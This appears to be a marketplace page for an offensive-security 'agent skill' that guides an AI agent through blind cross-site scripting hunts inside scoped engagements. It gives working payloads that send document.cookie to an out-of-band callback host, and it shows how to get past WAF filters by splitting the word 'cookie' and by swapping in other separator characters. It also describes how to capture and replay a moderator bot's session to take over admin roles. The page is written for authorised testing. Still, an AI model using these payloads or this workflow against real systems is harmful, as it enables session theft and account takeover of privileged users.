# Hunt Xss Blind

> Blind XSS: payload planted in a field a PRIVILEGED viewer renders later

- Skill: `encod3d-sec/hunt-xss-blind` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx get-skill add encod3d-sec/hunt-xss-blind`
- Raw SKILL.md: https://api.skillmd.com/api/skills/encod3d-sec/hunt-xss-blind/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: Encod3d-Sec (https://skillmd.com/u/encod3d-sec)
- Updated: 2026-11-16
- Page: https://skillmd.com/skills/encod3d-sec/hunt-xss-blind

---


# Hunt: XSS - Blind (expert microskill)

Blind XSS: payload planted in a field a PRIVILEGED viewer renders later
(admin panel, moderation queue, ticket viewer, log page), beacon fires
out-of-band, session exfiltrates. Expert half of the xss split (v2);
the mapper (hunt-xss) owns reflection mapping and classification.

**Blind vs stored:** stored = the field+render sink class (hunt-xss-
stored); blind = OOB delivery through privileged viewers. A stored
field in a moderator panel dispatches BOTH - stored owns the sink,
this skill owns beacon+callback ops.

## Wiki

Hub: [[web-moc]] - Primary page: [[wiki/techniques/web/xss]] - Payload
arsenal: `wiki/payloads/xss.md`
Anchors: [[wiki/techniques/web/xss]], [[dangling-markup]]
**REFS:** [[wiki/techniques/web/xss]], wiki/payloads/xss.md

## Paths (binding - define once at the top of the run notes)

    # seat side (wsl) - engagement tree is DOUBLE-NESTED in VMshare:
    ENG_DIR=/mnt/c/Users/Lenovo/Desktop/VMshare/<eng>/<eng>
    RUN=$ENG_DIR/hunt/xss/<host>          # SHARED with the mapper run
    # VM side (WHERE tools run, same tree through the VMware share):
    ENG_DIR=/mnt/VMshare/<eng>/<eng>
    RUN=$ENG_DIR/hunt/xss/<host>

Experts write probes/xss-blind*.jsonl|md into the mapper's $RUN tree
(js-pair shared-run precedent). Browser-leg artifacts are client data:
targets/<eng>/poc/ only.

## Transport

Every VM-native command block ships through ONE documented transport:

    wsl.exe -d kali-linux -u root bash -c "cd /mnt/c/Users/Lenovo/Documents/ObisidianVaults/ZTorch/ZTorch && bash scripts/vm-ssh.sh '<command>'"

- vm-ssh lands as user tz (NOT root): no root-only paths, no sudo.
- vm-ssh.sh takes the command as ONE argument; quotes ship as base64
  (`echo <b64> | base64 -d | bash` inside the vm-ssh argument).
- Non-login shells do NOT source profile.d: target-facing fetches MUST
  use /opt/scope-shim/bin/{curl,httpx} by absolute path.
- Shim verdict semantics (verified live): out-of-scope dies rc 126
  (never work around); in-scope passes; UNKNOWN gets an ADVISORY -
  not approval; verify against scope.md and self-deny.
- The browser/replay leg runs seat-side; artifacts under
  targets/<eng>/poc/, never on the VM.

## Entry gate

All four must pass; each is falsifiable:

1. Active engagement exists (repo tree targets/<eng>/active.md) and
   <host> is on targets/<eng>/scope.md in-scope. Scope-guard is the
   deny.
2. hunt-core loaded (skills/exploit/hunt/hunt-core/SKILL.md).
3. Mapper verified: $RUN/raw/reflection-map.md exists AND
   $ENG_DIR/hunt-xss-<host>.md carries XSS-HUNT-DONE naming blind (or
   stored->blind) in next=. Missing = dispatch hunt-xss first; never
   plant blind.
4. Toolchain preflight (fails LOUD):

       # install-on-demand (operator rule): try interactsh before the fatal loop
       [ -x /home/tz/go/bin/interactsh-client ] || { \
           command -v go >/dev/null \
             && HOME=/home/tz go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@v1.2.0 2>/dev/null; }
       for t in /usr/bin/jq /usr/bin/python3 \
                 /opt/scope-shim/bin/curl \
                 /home/tz/go/bin/interactsh-client; do
         [ -x "$t" ] || { echo "MISSING TOOL: $t"; exit 1; }
       done

## Checklist (mandatory)

Copy checklist.md (this skill's dir) to
`$ENG_DIR/hunt/xss/<host>/xss-blind-checklist.md` at run start.
Unchecked at stop = UNCHECKED lane, re-run from the first unchecked
step. SKILL.md and the checklist header agree byte-for-byte on the
copy target.

## Nudge

Review-skill re-injection text (pinned; NOTE: completion-gate emits
its own generic nudge - both mean: resume at the first unchecked box):

    Your work was just reviewed by the review skill and it was found
    that you either missed a step of analysis, or didn't generate an
    artifact of sufficient proof. Look at the markdown based checklist
    and the output for each step, find what you missed, and complete
    that step.

## Confirmation gate

**NOT confirmation:** payload submitted; field accepted the markup; a
200 on the form; "no callback yet".

**IS confirmation:** the oob.md row flipped to HIT - an HTTP/DNS
request to your unique Collaborator/interactsh subdomain with a
browser User-Agent (Mozilla/Chrome) from the privileged viewer - and
for session theft, the captured cookie replayed in a clean profile
with a capability exercised (hunt-core clean-session rule).

Plant rows in targets/<eng>/oob.md: `| <token> | <sink url+param> |
xss | <date> | waiting | |` (token | sink | class | planted | status |
source). The recon-capture hook flips waiting -> HIT; SessionStart
surfaces HITs. Do NOT claim a blind XSS without a HIT row.

## Methodology

**Approval / moderation workflow = the classic blind delivery.
Recognize it.** Submission "awaits review/approval" AND any field you
control renders in a privileged panel (pending-registrations queue,
report/ticket viewer, comment-moderation list, order-approval screen)
-> there is almost always a headless reviewer bot opening that panel.
Plant a cookie/session beacon in the field -> reviewer session
exfiltrates -> replay their cookie -> you ARE the moderator/admin.
The tell: if the panel shows a prior submission's raw markup (an
unescaped `<x>` or `sqltest'...` sitting literally in the table), the
sink is confirmed WITHOUT firing a payload - that raw reflection IS
the stored-XSS proof. Frequently the INTENDED path to the mid-tier
(moderator) role on a box with a heavier unintended route (LFI/RCE).

### Step 1 - Privileged-viewer field map

Every field rendered in a privileged context: error logs, User-Agent,
Referer, username, contact/support forms, report/ticket viewers,
pending queues. EXCLUDE fields validated on both ends or never
rendered cleartext (passwords get hashed). Row schema `field | viewer
context | render evidence`.

### Step 2 - Beacon crafting

Script PATH names the field so ONE submission reveals which fired.
Prefer the simplest vector that passes the WAF AND runs in the bot: a
plain `<body onload="new Image().src=...">` beats a javascript:
iframe (headless Chrome blocks javascript:-iframe navigation) or
srcdoc gymnastics. ONE payload + a paired plain-img control IN THE
SAME message (same render) so a callback disambiguates
render-vs-execution.

    <svg onload=fetch('//bxss-<field-tag>.<collab>/x?c='+document.cookie)>

    <!-- filter-bypass: word cookie blocked / <script>,<img> filtered.
         Concatenate ONLY the property name; exfil via new Image(). -->
    <iframe onload="new Image().src='//<lhost>:<port>/?x='+document['coo'+'kie']">
    <!-- separators when on\w+= regex-filtered: <svg%0conload=...>
         (form feed), <svg/onload=...> -->

### Step 3 - oob.md ledger

One row per planted beacon; tokens mirrored to $RUN/raw/oob-tokens.md.

### Step 4 - WAF token isolation

If a public writeup / known payload exists, fire its EXACT form first.
Blocked -> submit each suspect token IN ISOLATION to learn exactly
what the WAF rejects (often just the literal word cookie, or
onerror/<script>). Obfuscate ONLY the blocked token:
`document['coo'+'kie']` (split cookie, keep document) beats splitting
document too. Over-obfuscation (srcdoc+atob+.concat+template-literals)
usually breaks EXECUTION, not the WAF.

### Step 5 - Bot contract

Read it before iterating: the detector often scores ONE signal (a
cookie marker) while localStorage poison runs unscored; the bot may
render only the victim's FIRST item (give the victim account exactly
one item); a shared single-instance bot can WEDGE (instant generic
failures, no navigation) - its negative is not a verdict; stop burning
probes and re-test solo after it recovers.

### Step 6 - Queue discipline

Do NOT flood the moderation queue. The reviewer panel renders a
LIMITED window; buried test messages never surface, making
"no callback" ambiguous (broken payload vs not-rendered). One
payload + control per message; iterate in a clean queue.

### Step 7 - HIT handling

Callback lands: capture the payload (cookie/token), replay in a clean
browser profile, exercise a capability per the confirmation gate.
Evidence under targets/<eng>/poc/.

### Step 8 - Exit

Append blind rows to $RUN/candidates.jsonl ({class: xss-blind, host,
endpoint, method, evidence, confidence, next}); update the blind
section of candidates.md; append `XSS-BLIND-DONE targets=<n>
planted=<n> hits=<n>` to $ENG_DIR/hunt-xss-<host>.md; _requests.md
rows (lane = hunt-xss-blind); Deadends rows with the WHY.

## Validation

- Proof = HIT row + browser-UA callback; session theft = replayed
  cookie exercising a privileged capability in a clean profile.
- Negative control = the paired plain-img control firing (render
  proven) while the beacon does not (execution blocked), or neither
  firing (not rendered).

## False Positives

- Callback from a security sandbox/AV fetcher pre-scanning the URL
  (correlate source IP + UA with the app's egress).
- Self-callback from your own browser visiting the panel (you are not
  the privileged viewer; check the UA/session).
- Beacon accepted but the panel renders only a truncated window -
  control fired, beacon buried (queue discipline, not a negative).

## Cross-routing

- hunt-xss-stored owns the sink when the same field needs
  second-order render analysis.
- hunt-llm when the rendered field is model output.
- hunt-cache/hunt-smuggling when delivery needs a poisoned/desynced
  response.

## Severity

- **high/critical** - privileged session captured + capability
  exercised (moderator/admin).
- **medium** - beacon fires in a low-priv viewer (own-tenant only).

## N/A escapes

- "N/A: no admin/moderation panel"
An N/A tick is a claim with a reason, never a silent pass. Identical
string in SKILL.md and checklist.md.

## Bitter-pill variant

Freehand run: skip checklist + numbered steps, one freehand beacon
pass, output ONLY $RUN/analysis/bitter-pill.md (tried/found/dismissed,
every claim carries evidence). OOB-mandatory survives freehand.
Declare with a _requests.md row (lane = hunt-xss-blind-bitterpill).

### Depth walk (mandatory)

Walk EVERY applicable row of the payload arsenal page cited above.
Record each row in `$RUN/coverage-depth.md` as a table
`| row | state | evidence |` where state is `probed`, `blocked`, or
`N/A`, and evidence is a probe-pair path or a Deadends.md line. A bare
`probed` with no evidence reference fails the completion gate
(NEEDS-REVIEW). N/A rows cite why (surface shape forbids it).

Blocked implies research: before any Deadend is claimable on a blocked
row, (a) walk the arsenal page's bypass-ladder rows for that control
class, and (b) run one wiki query AND one `mcp__wigolo__search` for the
specific tech-plus-control bypass. Results, or a genuine null, land in
`coverage-depth.md`. "No research tried" is not a claimable state.

## Exit artifact + handoff

Appends into the shared mapper $RUN: probes/xss-blind-*.{jsonl,md},
raw/blind-targets.md, raw/oob-tokens.md, candidates.jsonl/md (blind
rows), pointer line XSS-BLIND-DONE. Consumer: triage. Findings leave
ONLY through G1. Distill: `python3 scripts/wiki-stage.py --kind
technique --slug <slug> --target-page techniques/web/xss.md`.

## Stop conditions

All targets terminal (HIT | no-callback-with-control | deadend row);
nothing written into skill dirs; no unchecked boxes above REVIEW;
hunt-core stop conditions fire unchanged.

## Attack surface

**APPROACH:** Map every reflection point, classify reflected/stored/DOM, probe the sanitizer (`aaa"bbb'ccc<ddd`), then fire the context-matched payload; plant a blind beacon in admin/moderation-viewed fields and confirm the session-theft callback.
**AVOID:** A payload that comes back URL/HTML-encoded (`&lt;script&gt;`) is NOT XSS; a blind/stored beacon is unproven until its `oob.md` row flips to HIT.

